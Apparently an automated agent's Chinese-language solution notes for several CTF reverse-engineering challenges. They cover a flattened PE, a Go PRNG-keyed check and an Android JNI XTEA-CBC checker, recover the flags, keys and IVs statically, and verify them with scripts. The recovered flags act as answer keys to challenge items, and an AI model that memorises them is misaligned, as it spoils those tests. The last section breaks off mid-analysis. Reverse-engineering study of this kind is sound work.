- `PaluFlat_flag.com` SHA-256: 678801F5EBBAF73B346D5B090A2A44191CB1629C1C12CD57D34FD6A69603D185
- `PaluFlat.exe` 长度: 1,073,741,824 字节 (1 GiB)
- `PaluFlat.exe` SHA-256: EC9F3D4B137085E6D45530744CDD3D3CC49573B35176062855C5E2732A81006D

PE 节区原始数据到文件偏移 0x4800 结束。overlay 从 0x4800 到 EOF，共 1,073,723,392 字节。analysis/check_overlay.py 使用每块 16 MiB 的分块读取扫描，结果为 0 个非零字节，首尾非零偏移均不存在。没有一次把整个 1 GiB 文件读入内存。原始 ZIP、内层.com、1 GiB PE 均保留在题目目录中。

PaluFlat.exe 是 PE32+ / AMD64:

- Machine: 0x8664
- Optional Header magic: 0x20b
- ImageBase: 0x400000
- 入口点 RVA: 0x14e0, VA: 0x4014e0
- 节区数: 9
- .text: RVA 0x1000, raw offset 0x400, 长度 0x2a00
- .data: RVA 0x4000, raw offset 0x2e00
- .rdata: RVA 0x5000, raw offset 0x3000
- 最后一个有文件内容的节区结束于 raw offset 0x4800

为了让静态反汇编工具避开 1 GiB 的零填充，也规避 Windows 工具链对中文路径的编码问题，把原 PE 的前 0x5000 字节复制到 analysis/PaluFlat_head_0x5000.bin。该副本覆盖 PE 头、所有节区头和全部节区原始数据；与原 PE 前缀逐字节比较一致，大小 20,480 字节，SHA-256 为 9FB745DAB1C76F9A0118A871753E50FF5DD251DF81DE9B502508ED65B11EEC03。objdump 读取的是这个数据副本，未执行文件。

静态产物:

- analysis/commands_output.log: PowerShell transcript，记录附件检查、命令和脚本输出。
- analysis/objdump_headers.txt: 节区与 PE 头。
- analysis/objdump_imports.txt: 导入表。
- analysis/objdump_symbols.txt: 符号表检查；文件已剥离题目函数符号。
- analysis/objdump_data.txt: .data 与.rdata hexdump。
- analysis/objdump_text.txt: .text 完整反汇编。
- analysis/decode_vm.py、analysis/vm_cases.txt: 跳转表解析和状态块清单。
- analysis/solve_static.py: 从 PE 指令立即数提取目标串并逆变换。
- analysis/verify_forward.py: 独立正向变换校验。
- analysis/check_overlay.py: 分块检查大文件 overlay 是否全零。
- analysis/inspect_zip_547.py、analysis/inspect_zip_547_output.txt: 外层 ZIP 成员及哈希检查。

导入表中与题目逻辑有关的函数包括 fgets、printf、puts、strcspn、strlen 和 strncmp。可打印字符串有 input flag:、success、error。字符串 input flag: 位于 VA 0x4050b8，反汇编在 0x40210a 处引用，因此可以从该处向前后查看输入主逻辑。

在 0x40209f 找到使用 input flag: 的函数。关键步骤如下:

1. 0x4020b4 至 0x4020fc 初始化 19 个目标字节。
2. 0x402100 将比较长度常量 0x13 (十进制 19) 写入局部变量。

3. 0x40210a 调用 printf 显示 input flag:。
4. 0x40211b 从标准输入读取数据; 0x402136 调用 fgets, 长度参数是 0x64 (100)。
5. 0x402149 用 strchr 查找换行, 0x40214e 写入字符串终止 NUL。
6. 0x40215e 调用 0x401550, 把用户输入作为第一个参数、输出缓冲区作为第二个参数。
7. 0x40216a 调用 strlen 检查变换输出长度是否为 19。
8. 0x402193 至 0x4021d6 按 19 字节逐项比较输出和内置目标。
9. 0x4021df 输出 success; 失败分支在 0x4021ed 或 0x4021fb 输出 error。

这段代码说明目标是先对输入逐字节变换, 再要求长度和目标缓冲区都匹配。目标字节并非放在.data, 而是通过一串机器指令直接写到栈上的局部缓冲区。

0x4020b4 开始连续出现 19 条指令, 形式为:

```
mov byte ptr [rbp + disp8], imm8
```

位移从 0xa0 连续递增到 0xb2, 立即数依序组成:

```
f3 54 84 23 a4 74 d4 c3 30 5f 32 43 f0 54 f4 74 00 22 43
```

总长度由 0x402100 的立即数 0x13 确认, 为 19 字节。analysis/solve_static.py 动态读取 PE 头和.text 节区映射, 以 VA 0x4020b4 定位指令, 再验证每条指令前缀和位移递增规律, 提取每条指令中的 imm8。它没有从 ASCII strings 猜常量。

函数从 VA 0x401550 开始:

- 入口将 Windows x64 参数 RCX、RDX 保存在局部变量中。结合调用点 0x40215e, 可知 RCX 指向输入, RDX 指向变换输出。
- 0x401560 将字符串 palu 写入栈内, 0x40156b 将 flat 写入栈内。
- 0x40157d、0x40158c、0x401598 调用 strlen, 记录 palu、flat、输入的长度; 两个常量串的长度都是 4。
- 0x4015a0 将 VM 状态设为 0; 0x4015a7 将字符索引设为 0; 0x4015ae 将调度常量设为 0x3039。
- 0x4015b5 检查状态范围 0 到 0x2d。0x4015ca 从 RVA 0x5000 对应的数据表取相对偏移, 0x4015e0 跳到对应 case。这是控制流平坦化形成的 jump table。
- 大量 case 对 0x3039 的不同位做条件判断, 状态值在 0 到 45 之间跳转。key 常量没有在函数中被修改。

静态跟踪常量 0x3039 的有关分支后, 针对每个字节得到固定路径:

状态 0 -> 状态 10 -> 状态 12 -> 状态 2 -> 状态 3 -> 状态 4 -> 状态 0

路径证据如下:

- 状态 0 在 0x4015fe 检查 bit 0; bit 0 为 1 后到 0x401654。bit 2 为 0, 继续到 0x401661。这里依字符索引奇偶选择 palu 或 flat: 偶数索引选 palu, 奇数索引选 flat, 随后令状态为 10。
- 状态 10 在 0x401a52 检查 bit 13; bit 13 为 1 后检查 bit 14。bit 14 为 0, 于 0x401a78 令状态为 12。该路径也按奇偶重新设置 key 指针。

- 状态 12 从 input[i] 和 key[i % 4] 取字节，在 0x401acd 做 XOR。bit 14 为 0，随后状态设为 2。
- 状态 2 在 0x401785 至 0x401797 对当前字节做半字节交换：高低 4 bit 互换。bit 6、7、8 都是 0，路径在 0x4017c1 把状态设为 3。
- 状态 3 在 0x401855 至 0x40185c 执行 byte 值减 0x55。bit 9、10、11 都是 0，路径在 0x401886 把状态设为 4。
- 状态 4 在 0x40191a 对 byte 执行 NOT，0x40192d 写入 output[i]，0x40192f 将索引加一，之后回到状态 0。

0x3039 的相关位为：bit0=1、bit2=0、bit13=1、bit14=0、bit6=bit7=bit8=bit9=bit10=bit11=0。每个字符都经过相同四种变换；每次迭代的 key 字节由索引奇偶和 i%4 决定。

实际 key 序列为：

i 偶数：从 palu 取 palu[i % 4]
 i 奇数：从 flat 取 flat[i % 4]
 循环字节：70 6c 6c 74，即 p l l t

因两个 key 长度同为 4，整串使用 p、l、l、t 循环。

按指令执行顺序，单字节变换为：

```
x = input_byte XOR key_byte
x = ROL4(x)           # 交换高低半字节
x = (x - 0x55) mod 256
output_byte = NOT(x) mod 256
```

反向恢复时倒序执行：

```
x = NOT(cipher_byte) mod 256
x = (x + 0x55) mod 256
x = ROL4(x)           # nibble swap 自身是逆运算
input_byte = x XOR key_byte
```

这里 NOT 和加减都按 8 bit 字节处理，运算后截断到 0..255。

对每个目标字节应用逆变换：

i	目标字节	key	恢复字节	字符
0	f3	70	66	f
1	54	6c	6c	l
2	84	6c	61	a
3	23	74	67	g
4	a4	70	7b	{
5	74	6c	62	b
6	d4	6c	64	d

i	目标字节	key	恢复字节	字符
7	c3	74	6d	m
8	30	70	32	2
9	5f	6c	33	3
10	32	6c	4e	N
11	43	74	65	e
12	f0	70	36	6
13	54	6c	6c	l
14	f4	6c	6a	j
15	74	74	7a	z
16	00	70	35	5
17	22	6c	4f	O
18	43	6c	7d	}

比如首字节: cipher f3 先取反为 0c, 加 55 得 61, 交换半字节得到 16, 再与 p (70) XOR 得 66, 即字符 f。对全部 19 字节同样计算, 得到:

```
flag{bdm23Ne6ljz50}
```

analysis/solve_static.py 从指令立即数自动提取目标字节、key 字符串、长度和 0x3039, 然后逆变换恢复候选并按原顺序重做正向变换。

analysis/verify_forward.py 则独立使用固定候选和固定目标字节, 不调用逆变换, 逐字节计算正向公式。完整输出为:

```
candidate: flag{bdm23Ne6ljz50}
candidate length: 19
key pattern: 706c6c74
expected bytes: f3548423a474d4c3305f3243f054f474002243
forward bytes: f3548423a474d4c3305f3243f054f474002243
complete 19-byte match: True
target NUL byte indices: [16]
```

该校验比较了全部 19 个字节, 未使用前缀、长度猜测或只比较部分密文。

静态恢复过程中发现一个确定的运行时逻辑问题, 需要在 WP 中保留:

1. main 把目标长度设为 19。2. 目标数组第 16 号字节为 0x00, 紧随其后仍有 0x22、0x43。
2. main 在逐字节比较之前先对变换输出调用 strlen, 并要求结果等于 19。4.C 的 strlen 会在第一个 NUL 停止。如果变换输出的第 16 号字节为 0, 则 strlen 至多为 16; 如果该字节不是 0, 后续逐字节比较又不可能等于目标的 0x00。

所以按静态反汇编, 附件中 main 的 success 分支不可达: 长度检查与后续目标字节要求互相矛盾。flag 候选仍由逐字节可逆变换和 19 字节全量回算唯一确定, 但不应声称本地运行验证成功。

在 PowerShell 中进入题目目录后，可复现静态校验：

```
Set-Location 'C:\Users\mzj\Desktop\CTF\玄机刷题\题目资料\PaluFlat_547'
python .\analysis\solve_static.py
python .\analysis\verify_forward.py
python .\analysis\check_overlay.py
```

重新查看附件和 PE 信息的命令：

```
tar -tf .\analysis\extracted\PaluFlat_flag.com
& 'C:\msys64\mingw64\bin\objdump.exe' -h .\analysis\PaluFlat_head_0x5000.bin
& 'C:\msys64\mingw64\bin\objdump.exe' -p .\analysis\PaluFlat_head_0x5000.bin
& 'C:\msys64\mingw64\bin\objdump.exe' -s -j .data -j .rdata .\analysis\PaluFlat_head_0x5000.bin
& 'C:\msys64\mingw64\bin\objdump.exe' -d -M intel -j .text .\analysis\PaluFlat_head_0x5000.bin
```

全部实际检查命令和输出保存在 analysis/commands_output.log；完整反汇编、数据和跳转状态清单分别保存在 analysis/objdump_text.txt、analysis/objdump_data.txt 和 analysis/vm_cases.txt。

依据 x64 PE 的完整静态控制流，逐字节变换是：

```
output[i] = NOT((ROL4(input[i] XOR key[i % 4]) - 0x55) mod 256)
```

其中 key 字节流为循环的 p l l t。嵌入目标的 19 字节常量完整逆变换为：

```
flag{bdm23Ne6ljz50}
```

正向变换的 19 字节结果与附件中内置常量完全相等，置信度高。附件自身的 strlen 长度检查有矛盾；

本节是在既有分析后追加的独立复核记录，没有覆盖原推理。复现脚本为 analysis/audit_independent_547.py，完整输入命令与输出保存在 analysis/audit_independent_547_transcript.txt，独立标准输出另存于 analysis/audit_independent_547_output.txt。

- 外层 ZIP 为 9,644 字节，SHA-256 为 5CA642495D769B3A02FCB73B3F2F20281A4AE4001938B0F282736332C72409D7。Python zipfile.testzip() 返回 None；唯一成员为 PaluFlat_flag.com，大小 164,561 字节，CRC32 2ACE2719。从 ZIP 成员分块读取后，与保存的 .com 逐块相同，SHA-256 为 678801F5EBBAF73B346D5B090A2A44191CB1629C1C12CD57D34FD6A69603D185。
- 对 .com 只执行 tar -tvf 清单读取，确认内层 7z 只有单个平面成员 PaluFlat.exe，声明大小 1,073,741,824 字节；没有路径穿越成员。
- 为验证已保存 PE 与归档内容一致，tar -xOf ...PaluFlat.exe 的输出通过 4 MiB 缓冲逐块与 analysis/extracted/PaluFlat.exe 比较并计算 SHA-256，没有落地第二份 1 GiB 文件，也没有把整文件装入内存。逐块结果完全一致，SHA-256 为 EC9F3D4B137085E6D45530744CDD3D3CC49573B35176062855C5E2732A81006D。
- PE 头是 AMD64 / PE32+，ImageBase 0x400000、入口点 0x4014e0、9 个节区。所有带原始数据的节区范围均不重叠且完整落在仅读取的 0x5000 前缀内；最后有效 raw offset 为 0x4800。状态表、目标常量和代码检查均只读此前缀。

由头部内的 46 项相对跳表和 0x3039 固定 seed 逐分支核对，逐字节路径为：

state 0 → 10 → 12 → 2 → 3 → 4 → 0

相关位为 bit0=1、bit2=0、bit13=1、bit14=0、bit6..11 全为 0。state 0 因 bit0=1 走到 0x401654，再由 bit2=0 选择偶数索引 palu、奇数索引 flat 并进入 state 10；state 10 由 bit13/14 进入 state 12；state 12 对输入字节和 key 字节异或；state 2 执行 SHL EAX,4、MOVZX EAX,BYTE [...], SAR AL,4、OR EAX,EDX；state 3 减 0x55；state 4 对字节取反、写出并回到 state 0。key 字节流为 70 6c 6c 74 循环，即 pll1t。

需要限定一个易被过度简化的地方：机器码的 SAR AL,4 是算术右移。若 XOR 中间字节最高位为 1，右移后的低半字节会被符号位填成 F，此时运算不等于普遍的高低半字节交换。本候选的 19 个 XOR 中间值全部小于 0x80，因此本题候选路径上该操作确实等价于交换半字节；审计脚本对每个字节按实际 SAR 语义复算。这样不会把候选的正确性错误推广到任意二进制输入。

目标常量从 0x4020b4 的 19 条 mov byte [rbp+disp8], imm8 提取为：

f3548423a474d4c3305f3243f054f474002243

目标长度立即数为 19。对每字节按 NOT、加 0x55、反推 state 2 的结果、再 XOR 对应 key 逆算，得到唯一满足此目标的候选 flag{bdm23Ne6ljz50}。审计脚本随后重新按机器码中的 SAR/SHL/OR、减法、NOT 顺序正向计算，输出完整 19 字节与目标完全一致；逐字节中间值见 transcript。

但这不能证明附件自身会输出成功。主函数 0x40216a 调用的 thunk 0x4036f0 经导入表解析为 ms vcrt.dll!strlen。主函数先要求 strlen(output)==19，再逐项比较 19 字节；正向输出在 offset 16 为 NUL，所以 strlen 返回 16。若该字节不为 NUL，后面的 19 字节比较又不会匹配目标。因此这个附件内的 success 分支不可达。此候选是静态反推并完整正向回算的结果；

另发现原 analysis/solve_static.py 的一条说明注释把 seed bit9 写成 1；0x3039 的 bit9 实际为 0。该脚本的断言、状态分支结论和本次审计计算均采用 bit9=0，因此这是注释笔误，不影响候选结果。

从 C:\Users\mzj\Desktop\CTF 运行：

```
python .\玄机刷题\题目资料\PaluFlat_547\analysis\audit_independent_547.py
```

脚本仅对外层 ZIP 和内层 7z 做清单/流式字节校验，并从 PE 读取有限前缀解析节表、跳表、状态、目标和导入符号。准确的脚本启动行、内部 tar argv、每一步输出及退出码均保存于 analysis/audit_independent_547_transcript.txt。

1.12 第二届 Parloo 杯 PaluGOGOGO (ID #548)

题目信息：玄机 ID #548；类型 REVERSE；难度中等。

零基础知识点： Go 的 math/rand 是确定性 PRNG；已知 Seed 与调用顺序即可重建随机选择。对输出做逆变换后，再把完整输入正向生成以核对常量。

- 候选 flag: flag{bg920ejpfgl}

- **置信度：高。** Go 伪随机种子和状态更新从程序自身的反汇编及内嵌常量恢复；逆变换所得字符串具有 `flag{...}` 格式；Python 脚本重新执行正向变换后，84 个字节与程序硬编码目标逐字节相同。
- **安全范围：** 没有运行或加载陌生 EXE。附件只通过 ZIP 元数据、PE 结构、字符串和反汇编进行静态分析；
- **原附件：** `originals\palugogogo_flag.zip`
- **ZIP SHA-256：** `420820830348B3791655E6912DE1DBF84C066F876F9AAC0859F19E91A6A92FF1`
- **安全提取后的附件：** `analysis\palugogogo_flag.exe`
- **EXE SHA-256：** `5DEF2E11E28DB1899B8F5808FBFD6F874CCA7E517D8DC5913D88BE332B17301D`
- **静态工具读取副本：** `analysis\palu548_static_copy.exe`；其 SHA-256 与提取件相同。该副本只交给 `objdump` 读取，未执行。
- **PowerShell 命令与完整 stdout/stderr 顺序记录：** `analysis/commands_output.log`
- **核心反汇编：** `analysis\disasm_checkFlag.txt`、`disasm_complexEncrypt.txt`、`disasm_GetValue.txt`、`disasm_WhatAreYouDoing.txt`
- **Go 随机数相关反汇编：** `analysis\disasm_mathRand_Seed.txt`、`disasm_mathRand_rngSource_Seed.txt`、`disasm_mathRand_rngSource_Int63.txt`、`disasm_mathRand_Int31n.txt`、`disasm_mathRand_Intn.txt`、`disasm_mathRand_globalRand.txt`
- **静态分析及复现脚本：** `analysis\inspect_go_pe.py`、`analysis\decode_go_constants.py`、`analysis/solve_static.py`
- **关键输出：** `analysis\go_pclntab_functions.txt`、`go_rand_symbols.txt`、`go_symbols_and_constants.txt`、`decoded_constants.txt`、`solve_static_output.txt`

先计算 ZIP 的 SHA-256，再只读列出归档条目。归档只有一个根目录文件 `palugogogo_flag.exe`，没有 `..` 路径段、绝对路径或嵌套目录，因此没有路径穿越风险。核对条目名称后，脚本通过 `.NET Zip ArchiveEntry.Open()` 将该单一条目流式写入 `analysis`，没有调用通用解压程序。

核心命令：

```
Get-FileHash -LiteralPath
↪ 'C:\Users\mzj\Desktop\CTF\玄机刷题\题目资料\PaluGOGOGO_548\originals\palugogogo_flag.zip' -Algorithm
↪ SHA256
[System.IO.Compression.ZipFile]::OpenRead($zipPath)
```

关键输出：

```
Hash      : 420820830348B3791655E6912DE1DBF84C066F876F9AAC0859F19E91A6A92FF1
Entry count: 1
Name      Length CompressedLength
palugogogo_flag.exe 1456640      702384
```

提取后对 EXE 计算 SHA-256 为 5DEF2E11E28DB1899B8F5808FBFD6F874CCA7E517D8DC5913D88BE332B17301D。副本 analysis\palu548_static_copy.exe 同哈希，确认静态工具读取的文件内容与原始附件一致。

对文件仅执行静态工具: objdump -f、objdump -h、objdump -x、strings，并用 Python 读取 PE 头及 Go pclntab。PE 信息表明它是 Windows x64 控制台 PE。内嵌构建信息显示 Go go1.22.4、模块名 palugogogo，并含原构建源码路径 F:/CTF/reverse/palu/PaluGOGOGO/main.go。

PE 段的关键数据:

```
.text    RVA=0x1000  raw=0x600
.rdata   RVA=0x96000 raw=0x94c00
.data    RVA=0x14f000 raw=0x14d400
file format pei-x86-64
```

Go 函数名虽被 -ldflags="-s -w" 去掉普通符号表，运行时函数表仍在。解析 pclntab 得到:

```
main.WhatAreYouDoing: 0x494e80-0x494f40
main.complexEncrypt:  0x494f40-0x4950a0
main.GetValue:        0x4950a0-0x495180
main.checkFlag:       0x495180-0x495500
main.main:            0x495500-0x495518
```

main.main 只调用 main.checkFlag，所以继续静态反汇编这些关键函数及 math/rand 的函数。

checkFlag 的反汇编 (analysis\disasm_checkFlag.txt) 显示:

1. 首先调用 WhatAreYouDoing。该函数通过 kernel32.dll 的 IsDebuggerPresent 检查调试器；返回真时显示 Debugger detected! Exiting... 并退出校验。2. 没有检测到调试器时显示 Please Input Flag:。3. 使用 bufio.Reader.ReadString('\n') 读取输入，再用 strings.TrimSpace 去掉首尾空白。4. 栈上构造十个整数 [1,2,3,4,5,6,7,8,9,0]，交给 GetValue 得到变换用的整数 key。5. 调用 complexEncrypt(input, key)。6. 先要求变换结果长度是 0x54 (84)，再与地址 0x4bf204 上的 84 字节常量比较。相等输出 Success!，否则输出 Failed!。

本次没有触发反调试分支，因为目标程序没有被运行。

反汇编 analysis\disasm_complexEncrypt.txt 表明函数逐个处理输入 Unicode 码点。对每个码点，它将下式转换为十六进制字符串，再用逗号连接:

```
变换值 [i] = Unicode 码点 [i] + key + (当前 UTF-8 字节偏移 mod 5)
输出项 [i] = "0x" + 小写十六进制 (变换值 [i])
```

在函数循环中，rdx 是当前 UTF-8 字节偏移；rdx % 5 通过乘魔数 0xc00000000000000d 实现。对 ASCII 输入，字节偏移与字符索引相同。格式常量从地址 0x4b5de3 开始，前五字节恰为 0x%x,。函数先为每一项添加逗号，返回时去掉最后一个逗号。因此最终字符串形如:

```
0xb5,0xbc,0xb2,...
```

反汇编还显示, 非 ASCII 字符走 `runtime.decoderune` 分支; 本题候选全部为 ASCII, 故反推时每个码点的 UTF-8 偏移就是其字符索引。

`analysis\disasm_GetValue.txt` 中的控制流为:

1. 调用 `math/rand.Seed(0x3e4)`, 即 seed 996。2. 对传入的 10 个槽位逐个调用 `math/rand.Intn(100)` 并覆盖槽位。3. 调用 `math/rand.Intn(2)`, 结果为 0 时返回第一个槽位, 为 1 时返回第二个槽位。

不能假定 Go 的随机数与 Python、C 的 PRNG 一致。因此从附件本身继续恢复 Go 1.22.4 的 `math/rand`:

- `rngSource.Seed` 反汇编显示状态表长度 607 (0x25f), 初始 tap 为 0、feed 为 334 (0x14e), seed 规范化模数为 $2^{31}-1$, 零 seed 替换值为 89482311。
- seed 扩展使用乘数 48271、除数 44488、余数常量 3399, 即 Go `seedrand` 递推。
- `rngSource.Int63` 每次将 tap、feed 各减一 (负值回绕 607), 将状态的两个 int64 项相加并保存, 返回值清除最高位。
- `Int31n(100)` 从 `Int63()` >> 32 取 31 位值, 按反汇编实现的拒绝采样上限过滤后取模 100; `Intn(2)` 取下一次 `Int31()` 的最低位。
- `rngCooked` 数组从 `rngSource.Seed` 中的 RIP 相对地址解析为虚拟地址 0x551de0, 在 PE 文件偏移 0x1501e0, 共 607 个 int64。脚本从附件读取该表, 不硬编码猜测值。

`analysis/solve_static.py` 按上述算法复现得到:

```
rand.Seed(996) -> Intn(100) array=[79, 81, 91, 5, 94, 91, 49, 65, 40, 8]
next Intn(2) index=0; GetValue key=79
```

`checkFlag` 将 84 字节预期输出放在虚拟地址 0x4bf204。脚本按 PE 段映射换算到文件偏移 0xbde04, 读到:

```
0xb5,0xbc,0xb2,0xb9,0xce,0xb1,0xb7,0x8a,0x84,0xa2,0xb4,0xba,0xc1,0xb8,0xba,0xbb,0xcd
```

共有 17 项。逐项套用逆变换:

码点 `[i] = int(目标项 [i], 16) - key - (i mod 5)`

例如用已知 flag 前缀交叉核对 key:

```
0xb5 - ord('f') - 0 = 79
0xbc - ord('l') - 1 = 79
0xb2 - ord('a') - 2 = 79
```

这与 Go PRNG 复现的 key 一致。完整逆变换为:

```
U+0066 U+006C U+0061 U+0067 U+007B U+0062 U+0067 U+0039 U+0032
U+004F U+0065 U+006A U+0070 U+0066 U+0067 U+006C U+007D
```

得到候选:

flag{bg920ejpfgl}

执行保存在项目中的静态复现脚本（它只读取 PE 文件字节，不加载或运行 EXE）：

```
python 'C:\Users\mzj\Desktop\CTF\玄机刷题\题目资料\PaluG0G0G0_548\analysis\solve_static.py'
↪ 'C:\Users\mzj\Desktop\CTF\玄机刷题\题目资料\PaluG0G0G0_548\analysis\palugogogo_flag.exe'
```

脚本输出：

```
rand.Seed(996) -> Intn(100) array=[79, 81, 91, 5, 94, 91, 49, 65, 40, 8]
next Intn(2) index=0; GetValue key=79
target bytes=84, tokens=17
candidate=flag{bg920ejpfgl}
forward=0xb5,0xbc,0xb2,0xb9,0xce,0xb1,0xb7,0x8a,0x84,0xa2,0xb4,0xba,0xc1,0xb8,0xba,0xbb,0xcd
forward_matches_target=True
flag_prefix_ok=True
```

正向输出与程序常量完全一致，长度也满足 checkFlag 的 84 字节条件。候选是由代码路径和常量逆向导出，并经正向变换验证：

1. GNU objdump 直接打开中文目录中的 EXE 时，Mingw 路径编码错误，显示 No such file or directory。先尝试 Windows 短路径，但中文父目录没有短路径别名，仍失败。

2. go 命令不在 PATH 中，因此没有使用 go tool。改为自行解析 Go 1.22.4 的 pclntab 和 PE 结构。3. 第一次 PRNG 脚本将状态容器写成不可变 tuple，运行时报 TypeError: 'tuple' object does not support item assignment。将状态改为 list 后重跑成功；失败和修正都保留在命令日志中。4. 为绕过 objdump 的中文路径问题，曾把哈希一致的静态副本临时写到系统 Temp；随后将其移动回本题 analysis\palu548_static_copy.exe 并保留。后续用临时 subst Z: 盘符别名供 objdump 读取，分析结束后仅解除盘符映射，没有删除文件。

3. strings 对 Go 运行时的大块相邻字符串输出不便阅读；改用 Go 函数表解析、地址反汇编及定向常量读取。

完整命令、错误、修正与输出均按发生顺序见 analysis/commands_output.log；每份定向反汇编和脚本的标准输出也分别保存在同目录，便于复核。

为排除只照抄先前 solve_static.py 输出的可能，另写 analysis\audit_independent.py，未导入旧脚本。它直接读取原始 ZIP 字节，核对 ZIP SHA-256 与唯一归档成员，再在内存中读取成员并与已有提取件逐字节比较；后续均只把 PE 当作数据解析，没有加载或执行 EXE。

独立复核从保存的 rngSource.Seed 反汇编地址定位 PE 内 607 项 rngCooked，重新实现 Go 的 seed 扩展、20 轮预热、607 槽状态更新、Int63/Int31，以及 Int31n 拒绝采样 cutoff。另从 checkFlag 的静态反汇编地址读取 84 字节比较常量，再逆推候选并做全长正向编码比较。

独立脚本输出的关键值：

```
ZIP_SHA256=420820830348B3791655E6912DE1DBF84C066F876F9AAC0859F19E91A6A92FF1
INNER_PE_SHA256=5DEF2E11E28DB1899B8F5808FBFD6F874CCA7E517D8DC5913D88BE332B17301D
RNG_COOKED_VA=0x551de0; file_offset=0x1501e0; entries=607
```

```
RNG_COOKED_SHA256=1928503B93A563E491119A5889BABA73D1605B90B63634C14A408805797A7C7B
GO_SEED=996; modulus=2147483647; warmup=20; tap=0; feed=334
INTN100_VALUES=[79, 81, 91, 5, 94, 91, 49, 65, 40, 8]
NEXT_INTN2_INDEX=0; GETVALUE_KEY=79
CANDIDATE=flag{bg920ejpfgl}
FORWARD_MATCHES_ALL_84_BYTES=True
PREFIX_CROSSCHECK_KEYS=[79, 79, 79, 79, 79]
```

每次 Intn(100) 的原始 31 位抽样、cutoff 与结果，以及目标常量、解出的全部码点和完整正向字符串，见 analysis\audit_independent_output.txt。可复现命令、stdout、退出码 0 保存在 analysis\audit_independent_transcript.txt。审计脚本只做离线字节解析；

1.13 第二届 Parloo 杯 ParlooChecker (ID #549)

题目信息：玄机 ID #549；类型 REVERSE；难度中等。

零基础知识点： APK 的 Java 层可能只负责调用 JNI，真正校验在 native 库中。XTEA 的每轮增量和 CBC 分组链接都要按实际机器码恢复。

本题已通过 APK 与 native library 的静态分析恢复出候选输入：

```
flag{vhl8XriruyiB2zeTLNc8pik29HJy7S2w0}
```

候选通过了源码外的独立 Python 复核：PKCS#7 填充合法；对候选重新执行 CBC 加密后，40 字节结果与 APK 内的比较常量逐字节相同；候选满足 flag{...} 包装格式。**分析期间没有联网，没有加载或运行 APK、DEX 或陌生 .so。

完整命令和输出保存在 analysis/commands_output.log；JNI 与轮函数重点汇编保存在 analysis\native_disassembly_x86_64.txt、analysis\native_helpers_28c00.txt、analysis\native_helpers_29a40.txt、analysis\ltea_round_function_disassembly.txt、analysis\target_range_disassembly.txt。复现脚本为 analysis\solve_offline.py，独立复核脚本为 analysis\independent_verify.py。

题目附件原件在：

```
originals\ParlooChecker_flag.zip
```

先计算原件 SHA-256 并列 ZIP 中央目录，不直接解压全部成员。记录的原件 SHA-256 为：

```
2E9A94CAF25E2EA5B63753C1BD0B5FE53E3AF9F275D7F3B60D61E877F3CA86D6
```

检查结果只有一个 APK 成员 ParlooChecker_flag.apk，长度 7,154,151 字节；成员名是普通文件名，没有绝对路径或 .. 路径穿越项。通过 analysis\inspect_zip.ps1 查看目录后，由 analysis\extract_apk.ps1 按固定成员名提取。提取 APK 的 SHA-256：

BF0EB5D18F35B7CDF8BD556F20CA8F40E4D45DCD7F00A76AC706727E29ED504C

检查 APK 自身 ZIP 目录后, 只提取固定清单中的 manifest、DEX 和四种 ABI 的 libparloo.so。脚本 analysis\extract_code.ps1 拒绝路径分隔符、绝对路径及不在允许列表中的成员; 没有提取或执行其它 APK 内容。

复现时从项目根目录运行:

```
.\题目资料\ParlooChecker_549\analysis\inspect_zip.ps1
.\题目资料\ParlooChecker_549\analysis\extract_apk.ps1
python .\题目资料\ParlooChecker_549\analysis\inspect_apk.py
.\题目资料\ParlooChecker_549\analysis\extract_code.ps1
```

APK ZIP 共 911 个条目; 包含 classes.dex、classes2.dex、classes3.dex 及 x86_64、x86、arm64-v8a、armeabi-v7a 四种 ABI 的 native library。

应用逻辑主要落在体积很小的 classes3.dex。静态 DEX 转储确认:

1. MainActivity.onCreate 建立输入框和按钮, 并给按钮注册监听器。2. 点击后, 监听器从 EditText 读取字符串, 调用 MainActivity.onCreate3(String) native 方法。3. JNI 导出符号为 Java_com_linkhash_parloochecker_MainActivity_onCreat3。4. Java 层随后按 native 返回文本走混淆后的分支并显示 Toast; 因此核心检查在 JNI native 代码中。

DEX 中可见字符串使用 18 个阿拉伯字符构造映射, 若干流程又被稀疏 switch 和字符串哈希混淆。第一次使用旧 DEX 解析器时, packed-switch / sparse-switch 与 array-data payload 的宽度处理不正确, 导致反汇编错位; 修正 payload 长度处理后, 入口、按钮监听器、JNI 方法名和调用参数能连贯对应。相关脚本和结果:

```
analysis\dump_dex_app.py
analysis\dump_dex_app_fixed.py
analysis\extract_dex_strings.py
analysis\analyze_app_strings.py
analysis\decode_dex_switches.py
analysis\dex_disassembly_fixed.txt
analysis\dex_switch_maps.txt
analysis\app_string_analysis.txt
```

这些处理均为 DEX 文件静态读取, 没有启动 Android 应用。

分析 analysis\code\lib\x86_64\libparloo.so 的导出函数及调用关系后, 整理出的输入检查流程如下:

1. JNI 从 jstring 读取 UTF 字节并构造 native 字符串。
2. 0x28c00 附近的填充函数按 8 字节分组添加 PKCS#7: $n = 8 - (\text{输入长度} \bmod 8)$, 在末尾追加 n 个值为 n 的字节; 若输入正好是 8 的倍数, 仍追加 8 个 0x08。
3. 0x28d30 执行分组变换。它要求输入长度是 8 的倍数, 使用静态密钥与 IV 做 CBC。4. 结果字符串与静态目标字符串比较, 相同才走成功返回分支。

目标字符串由初始化代码传入 [0x10130, 0x10158) 两端指针; helper 计算两指针差并复制相应字节。因此目标长度是 0x28, 即 40 字节。目标十六进制为:

```
af9008e79057a3edb1052dba56c04fd3fcaab795eee49f1ae92c21fc292ece52c48cf041e9890d79
```

analysis\target_range_disassembly.txt 留存了从 0x10130 起、加 0x28 后构造目标字符串的汇编证据。

native 初始化函数对同一密钥执行两次 RC4: 一次解出 16 字节分组密钥, 一次解出 8 字节 IV。

静态内容如下:

项目	位置	字节
RC4 密码	0x10158, 11 字节	ASCII DoNotHackMe
加密后的分组密钥	0x10170, 16 字节	99dd56ff6dd95554424d791a 34b7812f
加密后的 IV	0x10180, 8 字节	87c156c04cf4634f

静态 helper 0x2c740 做标准 RC4 KSA: 初始化 $S[i]=i$, 使用 $j=(j+S[i]+key[i \bmod keylen]) \bmod 256$ 交换; 0x293e0 的 PRGA 每次从新状态开始生成流并 XOR 输入。用独立实现解得:

```
TEA_KEY_RAW = 52756e74696d65537472696e67457874
               ASCII: RuntimeStringExt
IV            = 4c696e4b48405348
               ASCII: LinkH@SH
```

16 字节密钥按 little-endian 拆成四个 32 位字:

```
0x746e7552, 0x53656d69, 0x6e697274, 0x74784567
```

